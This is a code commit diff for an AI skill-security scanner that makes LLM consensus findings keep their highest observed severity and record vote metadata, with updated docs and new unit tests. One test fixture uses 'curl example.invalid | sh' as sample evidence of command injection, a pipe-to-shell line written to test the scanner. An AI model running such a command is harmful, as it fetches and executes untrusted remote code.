fix(llm): stabilize consensus finding severity

README.md

@@ -193,6 +193,14 @@ skill-scanner generate-policy -o my_org_policy.yaml
 skill-scanner configure-policy
 ```
 
+Consensus mode keeps a finding only when it appears in more than half of the
+configured runs. When those votes disagree on severity, the highest observed
+severity wins, independent of response order. Failed runs and successful runs
+that omit the finding cast no vote but remain in the denominator. This makes
+aggregation stable for majority-agreed findings; it does not make an individual
+LLM sample deterministic, so single-run output and non-majority findings can
+still vary between scans.
+
 **LLM provider note:** `--llm-provider` currently accepts `anthropic` or `openai`.
 For Bedrock, Vertex, Azure, Gemini, and other LiteLLM backends, set provider-specific model strings and environment variables (see [LLM Analyzer docs](docs/architecture/analyzers/llm-analyzer.md)).
 
@@ -244,7 +252,7 @@ if not result.is_safe:
 | `--use-behavioral` | Enable behavioral analyzer (dataflow analysis) |
 | `--use-llm` | Enable LLM analyzer (requires API key) |
 | `--llm-provider` | LLM provider for CLI routing: `anthropic` or `openai` |
-| `--llm-consensus-runs N` | Run LLM analysis `N` times and keep majority-agreed findings |
+| `--llm-consensus-runs N` | Run LLM analysis `N` times, keep majority-agreed findings, and retain their highest observed severity |
 | `--llm-max-tokens N` | Maximum output tokens for LLM responses (default: 8192) |
 | `--use-virustotal` | Enable VirusTotal binary scanner |
 | `--vt-api-key KEY` | Provide VirusTotal API key directly (optional) |

docs/architecture/analyzers/llm-analyzer.md

@@ -202,6 +202,24 @@ Findings are automatically mapped from AITech codes to ThreatCategory enum:
 }
 ```
 
+### 5. Consensus Contract
+
+With `llm_consensus_runs=N`, a finding is retained only when the same rule,
+category, and file are reported in more than `N/2` configured runs. Each run
+casts at most one vote for that key. If a run emits duplicates at different
+severities, its highest severity is used; if the majority votes disagree, the
+highest severity observed across them is retained regardless of run order.
+
+Failed runs and successful runs that omit a finding cast no vote, but they
+remain in the configured-run denominator. Retained findings include agreement,
+severity-vote, successful-run, and failed-run metadata so callers can assess
+the evidence behind the result.
+
+Consensus makes aggregation deterministic once a finding reaches majority. It
+does not make the underlying model deterministic: a single run can still vary,
+and a finding near the majority boundary can still appear or disappear between
+separate scans.
+
 ## Security Features
 
 ### Prompt Injection Protection

docs/features/index.md

@@ -303,7 +303,7 @@ pip install cisco-ai-skill-scanner[all]       # All cloud providers
 ```
 
 > [!TIP]
-> For consensus-based false-positive reduction, use `--llm-consensus-runs 3` to run the LLM analyzer 3 times independently and keep only majority-agreed findings.
+> For consensus-based false-positive reduction, use `--llm-consensus-runs 3` to run the LLM analyzer 3 times independently and keep only majority-agreed findings. For each retained finding, the highest severity observed across its votes wins. Failed or missing votes remain in the configured-run denominator.
 
 Environment variables for LLM and external analyzer configuration are documented in the [Configuration Reference](../reference/configuration-reference.md). Provider-specific setup is covered in [Dependencies and LLM Providers](../reference/dependencies-and-llm-providers.md).
 
@@ -350,7 +350,7 @@ See [Integrations Guide](../development/integrations.md) for CI/CD setup details
 ## Performance and Practicality
 
 - **Selective analyzer enablement** — only activate what you need. Core analyzers run by default; optional analyzers are opt-in.
-- **LLM consensus mode** — `--llm-consensus-runs N` runs the LLM analyzer N times and keeps only majority-agreed findings, significantly reducing false positives.
+- **LLM consensus mode** — `--llm-consensus-runs N` runs the LLM analyzer N times, keeps only majority-agreed findings, and deterministically retains their highest observed severity. Individual LLM samples remain model-dependent and may vary.
 - **Policy-based suppression** — use `severity_overrides` to reclassify and `disabled_rules` to suppress specific rule IDs, without code changes.
 - **Structured output** — every format is designed for machine consumption and long-term maintainability.
 

skill_scanner/core/analyzers/llm_analyzer.py

@@ -55,6 +55,15 @@
 
 logger = logging.getLogger(__name__)
 
+_CONSENSUS_SEVERITY_RANK = {
+    Severity.SAFE: 0,
+    Severity.INFO: 1,
+    Severity.LOW: 2,
+    Severity.MEDIUM: 3,
+    Severity.HIGH: 4,
+    Severity.CRITICAL: 5,
+}
+
 # Import provider availability flags
 try:
     from .llm_provider_config import GOOGLE_GENAI_AVAILABLE, LITELLM_AVAILABLE
@@ -503,7 +512,10 @@ async def _consensus_analyze(self, messages: list[dict], skill: Skill) -> list[F
         """Run LLM analysis multiple times and keep findings with majority agreement.
 
         This reduces false positives by requiring agreement across N independent
-        LLM runs. A finding is kept if it appears in more than N/2 runs.
+        LLM runs. A finding is kept if it appears in more than N/2 configured
+        runs. For each majority finding, the highest severity observed across
+        its votes is retained regardless of response order. Failed runs cast no
+        votes and remain part of the configured-run denominator.
 
         Args:
             messages: The LLM messages to send.
@@ -513,6 +525,7 @@ async def _consensus_analyze(self, messages: list[dict], skill: Skill) -> list[F
             Findings that achieved majority consensus.
         """
         all_run_findings: list[list[Finding]] = []
+        failed_runs = 0
 
         for run_idx in range(self.consensus_runs):
             try:
@@ -526,37 +539,72 @@ async def _consensus_analyze(self, messages: list[dict], skill: Skill) -> list[F
             except Exception as e:
                 logger.warning("Consensus run %d failed for %s: %s", run_idx + 1, skill.name, e)
                 all_run_findings.append([])
+                failed_runs += 1
 
-        # Count how many runs produced each unique finding (by rule_id + category)
-        finding_counts: dict[str, int] = {}
-        finding_map: dict[str, Finding] = {}
+        # Count one vote per run for each unique finding. If a single response
+        # duplicates a key at different severities, that run casts its highest
+        # severity only.
+        finding_counts: dict[tuple[str, str, str], int] = {}
+        finding_map: dict[tuple[str, str, str], Finding] = {}
+        severity_votes: dict[tuple[str, str, str], dict[Severity, int]] = {}
 
         for run_findings in all_run_findings:
-            seen_in_run: set[str] = set()
+            findings_by_key: dict[tuple[str, str, str], Finding] = {}
             for f in run_findings:
-                key = f"{f.rule_id}:{f.category.value}:{f.file_path or ''}"
-                if key not in seen_in_run:
-                    finding_counts[key] = finding_counts.get(key, 0) + 1
-                    seen_in_run.add(key)
-                    # Keep the first occurrence for the finding details
-                    if key not in finding_map:
-                        finding_map[key] = f
+                key = (f.rule_id, f.category.value, f.file_path or "")
+                previous = findings_by_key.get(key)
+                if (
+                    previous is None
+                    or _CONSENSUS_SEVERITY_RANK[f.severity] > _CONSENSUS_SEVERITY_RANK[previous.severity]
+                ):
+                    findings_by_key[key] = f
+
+            for key, finding in findings_by_key.items():
+                finding_counts[key] = finding_counts.get(key, 0) + 1
+                votes_for_key = severity_votes.setdefault(key, {})
+                votes_for_key[finding.severity] = votes_for_key.get(finding.severity, 0) + 1
+
+                current = finding_map.get(key)
+                if (
+                    current is None
+                    or _CONSENSUS_SEVERITY_RANK[finding.severity] > _CONSENSUS_SEVERITY_RANK[current.severity]
+                ):
+                    finding_map[key] = finding
 
         # Keep findings with majority agreement
         threshold = self.consensus_runs / 2
         consensus_findings: list[Finding] = []
-        for key, count in finding_counts.items():
+        successful_runs = self.consensus_runs - failed_runs
+        for key in sorted(finding_counts):
+            count = finding_counts[key]
             if count > threshold:
                 finding = finding_map[key]
-                finding.metadata["consensus_agreement"] = f"{count}/{self.consensus_runs}"
+                ordered_severity_votes = {
+                    severity.value: severity_votes[key][severity]
+                    for severity in sorted(severity_votes[key], key=_CONSENSUS_SEVERITY_RANK.__getitem__, reverse=True)
+                }
+                finding.metadata.update(
+                    {
+                        "consensus_agreement": f"{count}/{self.consensus_runs}",
+                        "consensus_votes": count,
+                        "consensus_total_runs": self.consensus_runs,
+                        "consensus_successful_runs": successful_runs,
+                        "consensus_failed_runs": failed_runs,
+                        "consensus_missing_votes": self.consensus_runs - count,
+                        "consensus_severity_votes": ordered_severity_votes,
+                        "consensus_severity_policy": "highest_observed",
+                    }
+                )
                 consensus_findings.append(finding)
 
         logger.info(
-            "Consensus judging for %s: %d unique findings, %d with majority agreement (%d/%d runs)",
+            "Consensus judging for %s: %d unique findings, %d with majority agreement "
+            "(%d successful, %d failed of %d configured runs)",
             skill.name,
             len(finding_counts),
             len(consensus_findings),
-            self.consensus_runs,
+            successful_runs,
+            failed_runs,
             self.consensus_runs,
         )
 

tests/test_llm_analyzer.py

@@ -21,6 +21,7 @@
 """
 
 import json
+from itertools import permutations
 from pathlib import Path
 from unittest.mock import AsyncMock, MagicMock, patch
 
@@ -525,6 +526,107 @@ async def test_retry_logic_on_rate_limit(self, mock_make_request):
         assert mock_make_request.called
 
 
+@pytest.mark.asyncio
+class TestLLMConsensus:
+    """Consensus aggregation is stable and transparent about missing votes."""
+
+    @staticmethod
+    def _response(severity: Severity | None) -> str:
+        findings = []
+        if severity is not None:
+            findings.append(
+                {
+                    "severity": severity.value,
+                    "aitech": "AITech-9.1",
+                    "title": "Command injection",
+                    "description": "The skill executes attacker-controlled commands.",
+                    "location": "SKILL.md:10",
+                    "evidence": "curl example.invalid | sh",
+                    "remediation": "Remove the command pipeline.",
+                }
+            )
+        return json.dumps({"findings": findings})
+
+    @staticmethod
+    def _skill() -> MagicMock:
+        skill = MagicMock()
+        skill.name = "consensus-skill"
+        skill.files = []
+        skill.referenced_files = []
+        return skill
+
+    @pytest.mark.parametrize("run_order", permutations((Severity.HIGH, Severity.CRITICAL, Severity.HIGH)))
+    async def test_highest_severity_is_independent_of_run_order(self, run_order) -> None:
+        analyzer = LLMAnalyzer(api_key="test-key")
+        analyzer.consensus_runs = 3
+        analyzer.request_handler.make_request = AsyncMock(
+            side_effect=[self._response(severity) for severity in run_order]
+        )
+
+        findings = await analyzer._consensus_analyze([], self._skill())
+
+        assert len(findings) == 1
+        finding = findings[0]
+        assert finding.severity == Severity.CRITICAL
+        assert finding.metadata["consensus_agreement"] == "3/3"
+        assert finding.metadata["consensus_votes"] == 3
+        assert finding.metadata["consensus_severity_votes"] == {"CRITICAL": 1, "HIGH": 2}
+        assert finding.metadata["consensus_severity_policy"] == "highest_observed"
+
+    @pytest.mark.parametrize("run_order", permutations((Severity.CRITICAL, Severity.HIGH, "failed")))
+    async def test_failed_run_casts_no_vote_but_keeps_configured_denominator(self, run_order) -> None:
+        analyzer = LLMAnalyzer(api_key="test-key")
+        analyzer.consensus_runs = 3
+        responses = [
+            RuntimeError("provider unavailable") if item == "failed" else self._response(item) for item in run_order
+        ]
+        analyzer.request_handler.make_request = AsyncMock(side_effect=responses)
+
+        findings = await analyzer._consensus_analyze([], self._skill())
+
+        assert len(findings) == 1
+        finding = findings[0]
+        assert finding.severity == Severity.CRITICAL
+        assert finding.metadata["consensus_agreement"] == "2/3"
+        assert finding.metadata["consensus_successful_runs"] == 2
+        assert finding.metadata["consensus_failed_runs"] == 1
+        assert finding.metadata["consensus_missing_votes"] == 1
+        assert finding.metadata["consensus_severity_votes"] == {"CRITICAL": 1, "HIGH": 1}
+
+    @pytest.mark.parametrize("run_order", permutations((Severity.CRITICAL, Severity.HIGH, None)))
+    async def test_successful_run_without_finding_is_a_missing_vote(self, run_order) -> None:
+        analyzer = LLMAnalyzer(api_key="test-key")
+        analyzer.consensus_runs = 3
+        analyzer.request_handler.make_request = AsyncMock(
+            side_effect=[self._response(severity) for severity in run_order]
+        )
+
+        findings = await analyzer._consensus_analyze([], self._skill())
+
+        assert len(findings) == 1
+        finding = findings[0]
+        assert finding.severity == Severity.CRITICAL
+        assert finding.metadata["consensus_agreement"] == "2/3"
+        assert finding.metadata["consensus_successful_runs"] == 3
+        assert finding.metadata["consensus_failed_runs"] == 0
+        assert finding.metadata["consensus_missing_votes"] == 1
+
+    async def test_less_than_configured_majority_is_not_retained(self) -> None:
+        analyzer = LLMAnalyzer(api_key="test-key")
+        analyzer.consensus_runs = 3
+        analyzer.request_handler.make_request = AsyncMock(
+            side_effect=[
+                self._response(Severity.CRITICAL),
+                self._response(None),
+                RuntimeError("provider unavailable"),
+            ]
+        )
+
+        findings = await analyzer._consensus_analyze([], self._skill())
+
+        assert findings == []
+
+
 class TestPromptInjectionDetection:
     """Test prompt injection detection in delimiter system."""